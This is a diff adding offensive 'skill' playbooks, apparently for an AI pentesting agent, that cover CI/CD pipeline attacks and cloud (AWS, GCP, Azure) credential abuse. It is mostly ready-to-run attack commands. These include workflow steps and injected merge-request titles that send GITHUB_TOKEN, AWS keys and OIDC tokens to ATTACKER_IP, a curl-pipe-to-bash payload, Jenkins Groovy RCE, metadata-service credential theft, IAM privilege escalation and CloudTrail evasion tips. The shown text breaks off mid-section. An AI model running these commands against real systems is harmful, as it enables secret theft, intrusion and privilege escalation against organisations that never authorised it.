- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,283 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# CI/CD Pipeline Security Attacks
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
CI/CD pipeline attack techniques: GitHub Actions poisoning, GitLab CI injection,
|
|
7
|
+
Jenkins exploitation, secrets exfiltration, OIDC token theft, and dependency confusion.
|
|
8
|
+
|
|
9
|
+
## Prerequisites
|
|
10
|
+
```bash
|
|
11
|
+
pip install trufflehog3 gitleaks semgrep
|
|
12
|
+
apt-get install -y git gh
|
|
13
|
+
# gh CLI: gh auth login
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
## Phase 1: Reconnaissance
|
|
17
|
+
|
|
18
|
+
### Repository Discovery
|
|
19
|
+
```bash
|
|
20
|
+
# GitHub organization recon
|
|
21
|
+
gh api orgs/TARGET/repos --paginate \
|
|
22
|
+
--jq '.[].clone_url' > /workspace/output/TARGET_repos.txt
|
|
23
|
+
|
|
24
|
+
# Find CI/CD config files
|
|
25
|
+
for repo in $(cat /workspace/output/TARGET_repos.txt); do
|
|
26
|
+
git clone --depth=1 $repo /workspace/output/TARGET_repos/$(basename $repo) 2>/dev/null
|
|
27
|
+
done
|
|
28
|
+
|
|
29
|
+
# Find all workflow files
|
|
30
|
+
find /workspace/output/TARGET_repos/ \
|
|
31
|
+
-name "*.yml" -path "*/.github/workflows/*" \
|
|
32
|
+
-o -name ".gitlab-ci.yml" \
|
|
33
|
+
-o -name "Jenkinsfile" \
|
|
34
|
+
2>/dev/null | tee /workspace/output/TARGET_cicd_files.txt
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
### Exposed CI/CD Interfaces
|
|
38
|
+
```bash
|
|
39
|
+
# Jenkins discovery
|
|
40
|
+
nmap -p 8080,50000 TARGET -sV --script http-title \
|
|
41
|
+
| grep -i jenkins | tee /workspace/output/TARGET_jenkins_scan.txt
|
|
42
|
+
|
|
43
|
+
# GitLab instance
|
|
44
|
+
curl -s https://TARGET/api/v4/version 2>/dev/null \
|
|
45
|
+
| tee /workspace/output/TARGET_gitlab_version.txt
|
|
46
|
+
|
|
47
|
+
# GitHub Actions API
|
|
48
|
+
gh api /repos/TARGET_ORG/TARGET_REPO/actions/workflows
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## Phase 2: GitHub Actions Poisoning (pull_request_target)
|
|
52
|
+
|
|
53
|
+
### Identify Vulnerable Workflows
|
|
54
|
+
```bash
|
|
55
|
+
# Find pull_request_target triggers with code checkout
|
|
56
|
+
grep -r "pull_request_target" /workspace/output/TARGET_repos/ \
|
|
57
|
+
--include="*.yml" -l | tee /workspace/output/TARGET_prt_workflows.txt
|
|
58
|
+
|
|
59
|
+
# Check for dangerous patterns: checkout of PR HEAD + secret access
|
|
60
|
+
grep -A20 "pull_request_target" \
|
|
61
|
+
$(cat /workspace/output/TARGET_prt_workflows.txt) \
|
|
62
|
+
2>/dev/null | grep -i "checkout\|secrets\|token" \
|
|
63
|
+
> /workspace/output/TARGET_prt_vulns.txt
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Exploitation via Malicious PR
|
|
67
|
+
```bash
|
|
68
|
+
# Fork the target repo, modify workflow in PR
|
|
69
|
+
# Malicious step to exfiltrate secrets:
|
|
70
|
+
cat > /tmp/malicious_step.txt <<'YAML'
|
|
71
|
+
- name: Exfiltrate
|
|
72
|
+
run: |
|
|
73
|
+
curl -X POST https://ATTACKER_IP/collect \
|
|
74
|
+
-d "token=${{ secrets.GITHUB_TOKEN }}" \
|
|
75
|
+
-d "aws_key=${{ secrets.AWS_ACCESS_KEY_ID }}"
|
|
76
|
+
YAML
|
|
77
|
+
|
|
78
|
+
# Or use environment variable dump
|
|
79
|
+
# run: env | base64 | curl -X POST https://ATTACKER_IP/ -d @-
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
## Phase 3: GitLab CI Injection
|
|
83
|
+
|
|
84
|
+
### Identify Injection Points
|
|
85
|
+
```bash
|
|
86
|
+
# Check for user-controlled variables in .gitlab-ci.yml
|
|
87
|
+
grep -r "CI_COMMIT_MESSAGE\|CI_MERGE_REQUEST_TITLE\|CI_COMMIT_REF_NAME" \
|
|
88
|
+
/workspace/output/TARGET_repos/ --include=".gitlab-ci.yml" \
|
|
89
|
+
| tee /workspace/output/TARGET_gitlab_injection.txt
|
|
90
|
+
|
|
91
|
+
# Find eval/sh -c with variables
|
|
92
|
+
grep -r "eval\|sh -c\|\$CI_" \
|
|
93
|
+
/workspace/output/TARGET_repos/ --include=".gitlab-ci.yml" \
|
|
94
|
+
| tee /workspace/output/TARGET_gitlab_eval.txt
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### Exploitation via Merge Request Title Injection
|
|
98
|
+
```bash
|
|
99
|
+
# If MR title is used in shell command:
|
|
100
|
+
# CI script: sh -c "echo $CI_MERGE_REQUEST_TITLE"
|
|
101
|
+
# Malicious MR title: "; curl http://ATTACKER_IP/$(env|base64) #"
|
|
102
|
+
# Or: "$(curl -s http://ATTACKER_IP/payload.sh|bash)"
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
## Phase 4: Jenkins Pipeline Injection
|
|
106
|
+
|
|
107
|
+
### Jenkins Discovery & Exploitation
|
|
108
|
+
```bash
|
|
109
|
+
# Check for anonymous access
|
|
110
|
+
curl -s http://TARGET:8080/api/json?pretty=true \
|
|
111
|
+
| tee /workspace/output/TARGET_jenkins_anon.txt
|
|
112
|
+
|
|
113
|
+
# Jenkins script console (if admin access)
|
|
114
|
+
curl -s http://TARGET:8080/scriptText \
|
|
115
|
+
-u admin:password \
|
|
116
|
+
--data-urlencode 'script=println("id".execute().text)' \
|
|
117
|
+
| tee /workspace/output/TARGET_jenkins_rce.txt
|
|
118
|
+
|
|
119
|
+
# Groovy RCE via script console
|
|
120
|
+
PAYLOAD='["id"].execute().text'
|
|
121
|
+
curl -X POST http://TARGET:8080/scriptText \
|
|
122
|
+
-u admin:password \
|
|
123
|
+
--data-urlencode "script=println($PAYLOAD)" \
|
|
124
|
+
2>&1 | tee /workspace/output/TARGET_jenkins_groovy_rce.txt
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
### Jenkinsfile Pipeline Injection
|
|
128
|
+
```bash
|
|
129
|
+
# Vulnerable Jenkinsfile pattern:
|
|
130
|
+
# sh "echo ${params.USER_INPUT}"
|
|
131
|
+
# Injection: "; curl http://ATTACKER_IP/ -d \$(env|base64)"
|
|
132
|
+
|
|
133
|
+
# Enumerate Jenkins jobs
|
|
134
|
+
curl -s http://TARGET:8080/api/json --user admin:password \
|
|
135
|
+
| python3 -m json.tool | grep '"name"' \
|
|
136
|
+
> /workspace/output/TARGET_jenkins_jobs.txt
|
|
137
|
+
|
|
138
|
+
# Download Jenkinsfile from job
|
|
139
|
+
curl -s http://TARGET:8080/job/<JOB_NAME>/config.xml \
|
|
140
|
+
--user admin:password \
|
|
141
|
+
> /workspace/output/TARGET_jenkinsfile.xml
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
## Phase 5: Secrets Exfiltration from CI Environment
|
|
145
|
+
|
|
146
|
+
### TruffleHog — Git History Scanning
|
|
147
|
+
```bash
|
|
148
|
+
# Scan all commits in repo
|
|
149
|
+
trufflehog git file:///workspace/output/TARGET_repos/TARGET_REPO \
|
|
150
|
+
--json > /workspace/output/TARGET_trufflehog.json 2>&1
|
|
151
|
+
|
|
152
|
+
# Scan remote GitHub repo
|
|
153
|
+
trufflehog github --org=TARGET_ORG \
|
|
154
|
+
--token=$GITHUB_TOKEN \
|
|
155
|
+
--json > /workspace/output/TARGET_trufflehog_org.json 2>&1
|
|
156
|
+
|
|
157
|
+
# Scan all branches
|
|
158
|
+
trufflehog git https://github.com/TARGET_ORG/TARGET_REPO \
|
|
159
|
+
--branch=all --json >> /workspace/output/TARGET_trufflehog.json
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
### Gitleaks — Pattern-Based Secret Detection
|
|
163
|
+
```bash
|
|
164
|
+
# Scan local repo
|
|
165
|
+
gitleaks detect --source /workspace/output/TARGET_repos/TARGET_REPO \
|
|
166
|
+
--report-path /workspace/output/TARGET_gitleaks.json \
|
|
167
|
+
--report-format json -v 2>&1
|
|
168
|
+
|
|
169
|
+
# Scan GitHub org
|
|
170
|
+
gitleaks detect --source https://github.com/TARGET_ORG \
|
|
171
|
+
--report-path /workspace/output/TARGET_gitleaks_org.json \
|
|
172
|
+
--report-format json 2>&1
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
### Semgrep — SAST for CI/CD Issues
|
|
176
|
+
```bash
|
|
177
|
+
semgrep scan --config p/ci \
|
|
178
|
+
/workspace/output/TARGET_repos/ \
|
|
179
|
+
--json -o /workspace/output/TARGET_semgrep.json 2>&1
|
|
180
|
+
|
|
181
|
+
# Check for hardcoded secrets in code
|
|
182
|
+
semgrep scan --config p/secrets \
|
|
183
|
+
/workspace/output/TARGET_repos/ \
|
|
184
|
+
--json >> /workspace/output/TARGET_semgrep.json
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
## Phase 6: OIDC Token Theft
|
|
188
|
+
|
|
189
|
+
### GitHub Actions OIDC
|
|
190
|
+
```bash
|
|
191
|
+
# OIDC token request from within malicious workflow:
|
|
192
|
+
cat > /tmp/oidc_steal.yml <<'YAML'
|
|
193
|
+
- name: Get OIDC Token
|
|
194
|
+
run: |
|
|
195
|
+
TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
|
196
|
+
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" \
|
|
197
|
+
| jq -r '.value')
|
|
198
|
+
curl -X POST https://ATTACKER_IP/oidc -d "token=$TOKEN"
|
|
199
|
+
YAML
|
|
200
|
+
|
|
201
|
+
# Decode stolen OIDC JWT
|
|
202
|
+
TOKEN="<stolen_token>"
|
|
203
|
+
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
|
|
204
|
+
> /workspace/output/TARGET_oidc_claims.txt
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
## Phase 7: Dependency Confusion
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# Check package.json / requirements.txt for internal packages
|
|
211
|
+
grep -r "\"@TARGET\|TARGET-internal\|TARGET-private" \
|
|
212
|
+
/workspace/output/TARGET_repos/ \
|
|
213
|
+
--include="package.json" \
|
|
214
|
+
| tee /workspace/output/TARGET_internal_packages.txt
|
|
215
|
+
|
|
216
|
+
# Check pip requirements for internal indices
|
|
217
|
+
grep -r "index-url\|extra-index-url" \
|
|
218
|
+
/workspace/output/TARGET_repos/ \
|
|
219
|
+
--include="*.txt" --include="*.cfg" \
|
|
220
|
+
| tee /workspace/output/TARGET_pypi_internal.txt
|
|
221
|
+
|
|
222
|
+
# Register malicious package on public PyPI/npm with higher version
|
|
223
|
+
# (conceptual — creates confusion when CI pulls from public registry first)
|
|
224
|
+
# npm: Publish @TARGET/package-name with version 9999.0.0
|
|
225
|
+
# PyPI: Publish target-internal-package==9999.0.0 with malicious setup.py
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
## Phase 8: Artifact Poisoning
|
|
229
|
+
|
|
230
|
+
```bash
|
|
231
|
+
# Check for unsigned artifact downloads in CI
|
|
232
|
+
grep -r "wget\|curl\|download\|install" \
|
|
233
|
+
$(cat /workspace/output/TARGET_cicd_files.txt) \
|
|
234
|
+
| grep -v "sha256\|checksum\|verify\|gpg" \
|
|
235
|
+
| tee /workspace/output/TARGET_unsigned_downloads.txt
|
|
236
|
+
|
|
237
|
+
# Find cache actions without content hash
|
|
238
|
+
grep -r "cache.*key" \
|
|
239
|
+
/workspace/output/TARGET_repos/ \
|
|
240
|
+
--include="*.yml" \
|
|
241
|
+
| tee /workspace/output/TARGET_cache_keys.txt
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
## Report Template
|
|
245
|
+
|
|
246
|
+
```
|
|
247
|
+
Target: TARGET_ORG
|
|
248
|
+
CI/CD Systems: GitHub Actions / GitLab CI / Jenkins
|
|
249
|
+
Assessment Date: <DATE>
|
|
250
|
+
|
|
251
|
+
## Critical Findings
|
|
252
|
+
- [ ] pull_request_target workflow poisoning possible
|
|
253
|
+
- [ ] Jenkins Script Console unauthenticated
|
|
254
|
+
- [ ] OIDC tokens exfiltrable from workflow
|
|
255
|
+
- [ ] Secrets found in git history (N secrets)
|
|
256
|
+
- [ ] Dependency confusion vulnerable packages
|
|
257
|
+
|
|
258
|
+
## Secrets Discovered (TruffleHog/Gitleaks)
|
|
259
|
+
- AWS key: AKIA... (found in commit <SHA>)
|
|
260
|
+
- API token: <token> (found in <file>)
|
|
261
|
+
|
|
262
|
+
## CI/CD Misconfiguration
|
|
263
|
+
- pull_request_target without head checkout restriction: <file>
|
|
264
|
+
- Unvalidated user input in shell: <pipeline>
|
|
265
|
+
- Unsigned artifact downloads: <count>
|
|
266
|
+
|
|
267
|
+
## Recommendations
|
|
268
|
+
1. Use pull_request instead of pull_request_target for untrusted code
|
|
269
|
+
2. Pin Actions to full commit SHA (not tags)
|
|
270
|
+
3. Restrict GITHUB_TOKEN permissions to minimum needed
|
|
271
|
+
4. Implement branch protection + required reviews
|
|
272
|
+
5. Rotate all leaked secrets immediately
|
|
273
|
+
6. Use OIDC for cloud auth instead of long-lived credentials
|
|
274
|
+
7. Enable secret scanning + push protection on all repos
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
## Output Files
|
|
278
|
+
- `/workspace/output/TARGET_trufflehog.json` — TruffleHog findings
|
|
279
|
+
- `/workspace/output/TARGET_gitleaks.json` — Gitleaks findings
|
|
280
|
+
- `/workspace/output/TARGET_semgrep.json` — SAST results
|
|
281
|
+
- `/workspace/output/TARGET_oidc_claims.txt` — Stolen OIDC claims
|
|
282
|
+
|
|
283
|
+
indicators: cicd, attack, github, actions, injection, gitlab, ci, injection, jenkins, pipeline, injection, pipeline, poisoning, secrets, exfiltration, dependency, confusion, oidc, token, theft, trufflehog, gitleaks, pull_request_target
|
|
@@ -0,0 +1,299 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: cloud-security
|
|
5
|
+
description: Cloud security assessment for AWS, GCP, and Azure covering credential abuse, IAM privilege escalation, storage misconfigs, and serverless attacks
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Cloud Security Assessment
|
|
9
|
+
|
|
10
|
+
Cloud misconfigurations are the most common source of critical data breaches. The attack surface is: exposed credentials, misconfigured storage, overprivileged IAM, metadata service abuse, and serverless/container escapes.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## AWS
|
|
15
|
+
|
|
16
|
+
### IMDS (Instance Metadata Service)
|
|
17
|
+
|
|
18
|
+
IMDSv1 (no protection — direct request):
|
|
19
|
+
|
|
20
|
+
curl http://169.254.169.254/latest/meta-data/
|
|
21
|
+
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
22
|
+
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
|
|
23
|
+
# Returns: AccessKeyId, SecretAccessKey, Token
|
|
24
|
+
|
|
25
|
+
IMDSv2 (token-based — requires PUT first):
|
|
26
|
+
|
|
27
|
+
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
|
|
28
|
+
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
|
29
|
+
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
30
|
+
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/user-data
|
|
31
|
+
|
|
32
|
+
ECS Task credentials:
|
|
33
|
+
|
|
34
|
+
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
|
|
35
|
+
|
|
36
|
+
Lambda environment:
|
|
37
|
+
|
|
38
|
+
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
|
|
39
|
+
# Also check: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY in env vars
|
|
40
|
+
|
|
41
|
+
### Configure Stolen Credentials
|
|
42
|
+
|
|
43
|
+
aws configure
|
|
44
|
+
# Or export directly:
|
|
45
|
+
export AWS_ACCESS_KEY_ID=AKIA...
|
|
46
|
+
export AWS_SECRET_ACCESS_KEY=...
|
|
47
|
+
export AWS_SESSION_TOKEN=... # for temp creds
|
|
48
|
+
|
|
49
|
+
# Verify identity
|
|
50
|
+
aws sts get-caller-identity
|
|
51
|
+
|
|
52
|
+
### IAM Enumeration
|
|
53
|
+
|
|
54
|
+
# Current permissions
|
|
55
|
+
aws iam get-user
|
|
56
|
+
aws iam list-attached-user-policies --user-name <user>
|
|
57
|
+
aws iam list-user-policies --user-name <user>
|
|
58
|
+
aws iam get-user-policy --user-name <user> --policy-name <policy>
|
|
59
|
+
|
|
60
|
+
# List all roles and policies
|
|
61
|
+
aws iam list-roles
|
|
62
|
+
aws iam list-policies --scope Local
|
|
63
|
+
aws iam get-policy-version --policy-arn <arn> --version-id v1
|
|
64
|
+
|
|
65
|
+
# Automated: enumerate all reachable permissions
|
|
66
|
+
# Install: pip install enumerate-iam
|
|
67
|
+
python3 enumerate-iam.py --access-key <key> --secret-key <secret> --session-token <token>
|
|
68
|
+
|
|
69
|
+
# Pacu (AWS pentesting framework)
|
|
70
|
+
pacu
|
|
71
|
+
> import_keys <profile>
|
|
72
|
+
> run iam__enum_permissions
|
|
73
|
+
> run iam__privesc_scan
|
|
74
|
+
|
|
75
|
+
### IAM Privilege Escalation
|
|
76
|
+
|
|
77
|
+
Key vectors (over 20 known paths):
|
|
78
|
+
|
|
79
|
+
# 1. iam:CreatePolicyVersion — overwrite existing policy with Admin
|
|
80
|
+
aws iam create-policy-version \
|
|
81
|
+
--policy-arn <target_policy_arn> \
|
|
82
|
+
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
|
|
83
|
+
--set-as-default
|
|
84
|
+
|
|
85
|
+
# 2. iam:AttachUserPolicy — attach AdministratorAccess to self
|
|
86
|
+
aws iam attach-user-policy \
|
|
87
|
+
--user-name <your_user> \
|
|
88
|
+
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
89
|
+
|
|
90
|
+
# 3. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
|
|
91
|
+
# Create Lambda with role that has more privileges, invoke it
|
|
92
|
+
aws lambda create-function \
|
|
93
|
+
--function-name privesc \
|
|
94
|
+
--runtime python3.9 \
|
|
95
|
+
--role arn:aws:iam::<account>:role/<privileged_role> \
|
|
96
|
+
--handler index.handler \
|
|
97
|
+
--zip-file fileb://lambda.zip
|
|
98
|
+
|
|
99
|
+
# 4. sts:AssumeRole — assume a more privileged role
|
|
100
|
+
aws sts assume-role \
|
|
101
|
+
--role-arn arn:aws:iam::<account>:role/<target_role> \
|
|
102
|
+
--role-session-name pentest
|
|
103
|
+
|
|
104
|
+
### S3 Misconfigurations
|
|
105
|
+
|
|
106
|
+
# Check bucket ACL and policy
|
|
107
|
+
aws s3api get-bucket-acl --bucket <bucket-name>
|
|
108
|
+
aws s3api get-bucket-policy --bucket <bucket-name>
|
|
109
|
+
|
|
110
|
+
# List all buckets (if authenticated)
|
|
111
|
+
aws s3 ls
|
|
112
|
+
|
|
113
|
+
# Check public access
|
|
114
|
+
aws s3api get-public-access-block --bucket <bucket-name>
|
|
115
|
+
|
|
116
|
+
# List bucket contents anonymously
|
|
117
|
+
aws s3 ls s3://<bucket-name> --no-sign-request
|
|
118
|
+
|
|
119
|
+
# Download all files
|
|
120
|
+
aws s3 sync s3://<bucket-name> ./output/s3_dump/ --no-sign-request
|
|
121
|
+
|
|
122
|
+
# Check for sensitive files
|
|
123
|
+
aws s3 ls s3://<bucket> --recursive --no-sign-request | grep -iE "backup|password|secret|key|config|credentials|db"
|
|
124
|
+
|
|
125
|
+
# s3scanner — enumerate permutations
|
|
126
|
+
s3scanner scan --bucket-file output/subdomains.txt
|
|
127
|
+
|
|
128
|
+
### Secrets Manager / SSM Parameter Store
|
|
129
|
+
|
|
130
|
+
aws secretsmanager list-secrets
|
|
131
|
+
aws secretsmanager get-secret-value --secret-id <secret-arn>
|
|
132
|
+
|
|
133
|
+
aws ssm describe-parameters
|
|
134
|
+
aws ssm get-parameters --names <param-name> --with-decryption
|
|
135
|
+
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
|
|
136
|
+
|
|
137
|
+
### EC2 and EBS
|
|
138
|
+
|
|
139
|
+
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags]'
|
|
140
|
+
aws ec2 describe-snapshots --owner-ids self
|
|
141
|
+
aws ec2 describe-snapshots --restorable-by-user-ids all # Public snapshots from your account (bug)
|
|
142
|
+
|
|
143
|
+
# Create volume from public snapshot
|
|
144
|
+
aws ec2 create-volume --snapshot-id <snap-id> --availability-zone us-east-1a
|
|
145
|
+
aws ec2 attach-volume --volume-id <vol-id> --instance-id <your-ec2> --device /dev/xvdf
|
|
146
|
+
# Mount and read data
|
|
147
|
+
|
|
148
|
+
### Lambda
|
|
149
|
+
|
|
150
|
+
aws lambda list-functions
|
|
151
|
+
aws lambda get-function --function-name <func> # Check DownloadLocation in response
|
|
152
|
+
aws lambda get-function-configuration --function-name <func> # Environment variables!
|
|
153
|
+
# Download source code:
|
|
154
|
+
curl -o /tmp/lambda.zip "$(aws lambda get-function --function-name <func> --query Code.Location --output text)"
|
|
155
|
+
|
|
156
|
+
### CloudTrail / Evasion Awareness
|
|
157
|
+
|
|
158
|
+
# Check if CloudTrail is logging
|
|
159
|
+
aws cloudtrail describe-trails
|
|
160
|
+
aws cloudtrail get-trail-status --name <trail>
|
|
161
|
+
|
|
162
|
+
# Low-noise enumeration: prefer Read-only APIs over mutating ones
|
|
163
|
+
# Avoid: CreateUser, AttachPolicy, PutBucketPolicy — high noise
|
|
164
|
+
# Prefer: GetCallerIdentity, DescribeInstances, ListBuckets — common and expected
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## GCP
|
|
169
|
+
|
|
170
|
+
### Metadata Service
|
|
171
|
+
|
|
172
|
+
# From inside GCP instance:
|
|
173
|
+
curl "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
|
|
174
|
+
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
|
|
175
|
+
-H "Metadata-Flavor: Google"
|
|
176
|
+
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/" -H "Metadata-Flavor: Google"
|
|
177
|
+
|
|
178
|
+
### GCP Enumeration
|
|
179
|
+
|
|
180
|
+
# With stolen token:
|
|
181
|
+
curl -H "Authorization: Bearer <token>" \
|
|
182
|
+
"https://www.googleapis.com/oauth2/v1/tokeninfo"
|
|
183
|
+
|
|
184
|
+
# List projects
|
|
185
|
+
gcloud projects list
|
|
186
|
+
|
|
187
|
+
# IAM bindings
|
|
188
|
+
gcloud projects get-iam-policy <project-id>
|
|
189
|
+
gcloud iam service-accounts list
|
|
190
|
+
|
|
191
|
+
# Service account impersonation
|
|
192
|
+
gcloud iam service-accounts get-iam-policy <sa-email>
|
|
193
|
+
|
|
194
|
+
### GCS Buckets
|
|
195
|
+
|
|
196
|
+
# Check public buckets
|
|
197
|
+
gsutil ls gs://<bucket-name>
|
|
198
|
+
gsutil ls -la gs://<bucket-name>
|
|
199
|
+
gsutil cp gs://<bucket>/** ./output/gcs_dump/
|
|
200
|
+
|
|
201
|
+
# Bucket IAM
|
|
202
|
+
gsutil iam get gs://<bucket-name>
|
|
203
|
+
|
|
204
|
+
# Check allUsers / allAuthenticatedUsers permissions
|
|
205
|
+
curl https://storage.googleapis.com/storage/v1/b/<bucket>/iam
|
|
206
|
+
|
|
207
|
+
### Cloud Functions / Run
|
|
208
|
+
|
|
209
|
+
gcloud functions list
|
|
210
|
+
gcloud functions describe <function-name> # Check env vars, source
|
|
211
|
+
gcloud run services list
|
|
212
|
+
gcloud run services describe <service>
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## Azure
|
|
217
|
+
|
|
218
|
+
### Metadata Service
|
|
219
|
+
|
|
220
|
+
# From inside Azure instance:
|
|
221
|
+
curl -H "Metadata: true" \
|
|
222
|
+
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
|
223
|
+
curl -H "Metadata: true" \
|
|
224
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
|
225
|
+
|
|
226
|
+
### Azure Enumeration
|
|
227
|
+
|
|
228
|
+
# With access token:
|
|
229
|
+
az account show
|
|
230
|
+
az account list
|
|
231
|
+
az role assignment list --all
|
|
232
|
+
az ad user list
|
|
233
|
+
az keyvault list
|
|
234
|
+
az storage account list
|
|
235
|
+
az webapp list
|
|
236
|
+
|
|
237
|
+
### Blob Storage
|
|
238
|
+
|
|
239
|
+
# Check public containers
|
|
240
|
+
az storage container list --account-name <account> --auth-mode login
|
|
241
|
+
az storage blob list --container-name <container> --account-name <account>
|
|
242
|
+
|
|
243
|
+
# Anonymous access check
|
|
244
|
+
curl "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
|
|
245
|
+
|
|
246
|
+
### Azure AD
|
|
247
|
+
|
|
248
|
+
# Token from MSI
|
|
249
|
+
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/' \
|
|
250
|
+
-H "Metadata: true"
|
|
251
|
+
|
|
252
|
